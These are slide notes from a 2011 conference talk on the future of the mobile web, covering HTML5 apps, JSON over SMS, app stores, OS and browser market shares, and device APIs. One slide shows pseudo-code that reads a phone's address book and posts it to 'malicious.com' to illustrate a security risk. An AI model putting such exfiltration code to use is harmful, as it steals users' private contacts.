The future of the mobile web

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http://quirksmode.org
http://twitter.com/ppk
/dev/haag, 25 February 2011
It was also a good opportunity to test Keynote and I found it supports a lot of cool effects so many that it’s hard to choose. Still, I think it would be best to use them with moderation.
2014

Apps! Maybe an app that keeps track of historical prices, or gives extra warnings against corrupt police officers.
I’ve done it. In April 2009.
And it worked. With web standards, obviously.
Well, OK.
It *almost* worked.
There was a compatibility issue.
HTML5 apps

• One core app written in HTML, CSS, and JavaScript.

• Deployed to several mobile platforms.

• Ideally, CSS and JavaScript are stored on the device.

• If it can't be deployed it's still a website.
HTML5 apps

And if it doesn’t work it’s still a website
HTML5 apps
Manifest file

• Contains metadata such as author name and email, app name
• But also width and height
• and device APIs necessary
Data will likely be JSON
- Light-weight
- Already works everywhere

But how do we get the JSON on the phone?
Wifi? Not available
Data plan? Too expensive
SMS? Sounds about right
JSON over SMS

- SMS is the only way of pushing data
- Premium SMS allows the service to make money easily
- Absolutely every phone supports SMS
- It’s human-readable (more or less)
To: 06184322728

date: 150225,
towns: {
  town1: {
    prices:
    {
      catfish: 0.88,
      dogfish: 1.34,
      shellfish: 0.79
    }
  },
  town2: {
    prices:
    {
      catfish: 0.97,
      dogfish: 1.13,
      shellfish: 0.48
    }
  }
}
Money

- But if the user can share apps freely
- and pays for the data
- monetization is going to change considerably
- We don’t need app stores any more
End of app stores

- “Why is everyone so exercised? As with all walled gardens, the web will interpret the App Store as damage and route around it.”

- Eric Meyer
Money

• Product owners will earn money by selling data (articles, levels, logins, messages, whatnot)

• App store owners will ... well ... not make money any more. Good riddance.

• Developers will have to learn web standards. Good!
Operating systems

- Symbian
- Android
- iOS
- BlackBerry
- Windows
- bada

Symbian: 38%
Android: 22%
iOS: 16%
BlackBerry: 16%
Windows: 16%
bada: 4%

3%
Operating systems

- Android: 16%
- iOS: 22%

Rest? What rest?
Mobile browsers

- Safari iPhone
- Android WebKit
- Dolfin for bada
- BlackBerry WebKit
- Opera Mobile
- Opera Mini
- MicroB
- Nokia WebKit
- Firefox
- Obigo WebKit
- Ovi
- Bolt
- BlackBerry old
- Phantom
- Obigo old
- NetFront
- IE
- UCWeb
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Proxy browsers

• Page is downloaded to and rendered on the server.

• A highly compressed image is sent to the client.

• Advantage: cheap, both in device and in network costs

• Disadvantage: no client-side interactivity
Device APIs

• Native apps offer device APIs.
• They allow you to access the camera, accelerometer, SMS, file system, etc.
• They tie in your site or app with the mobile context.
• Web apps will have to offer them, too.
Device APIs

device.phone.call(device.addressBook['mom'])

Great!

Well ...

var ab = device.addressBook.toString();
sendRequest(POST,'malicious.com',ab);

There’s a serious security problem here. Providing trusted apps might remain an app store function.
Device APIs specs

- BONDI (obsolete)
- JIL (obsolete)
- W3C DAP (not yet ready)
- WAC 2.0
JavaScript events

Fun party game

• online and offline
• orientationchange
• shake
• cameraopen
• compasspointnorth
• devicemove (GPS?)
• phonecall
• textreceived
Thank you

Questions?